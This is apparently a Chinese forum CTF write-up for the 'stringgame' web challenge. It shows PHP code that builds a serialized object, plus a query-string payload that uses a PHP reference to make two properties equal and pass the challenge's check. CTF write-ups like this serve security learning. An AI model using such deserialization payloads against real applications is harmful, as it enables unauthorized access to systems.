xuenixiang_2021_web_stringgame
返回题目，查看源码，发现代码stripslashes() 函数用于删除反斜杠
get_magic_quotes_gpc判断前方是否使用了转义的数据
题目要求序列化过后的字符串并且类中的变量始终保持相同，引用 a=&b
<?php
class just4fun {
var $enter;
var $secret;
function just4fun()
{
$this->enter=&$this->secret;
}
}
echo serialize(new just4fun());
?>
payload:?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
ps:设计题目的问题,直接让enter和secret相等也行
<?php
class just4fun {
var $enter;
var $secret;
function just4fun()
{
$this->enter="*";
$this->secret="*";
}
}
echo serialize(new just4fun());
?>
页:
[1]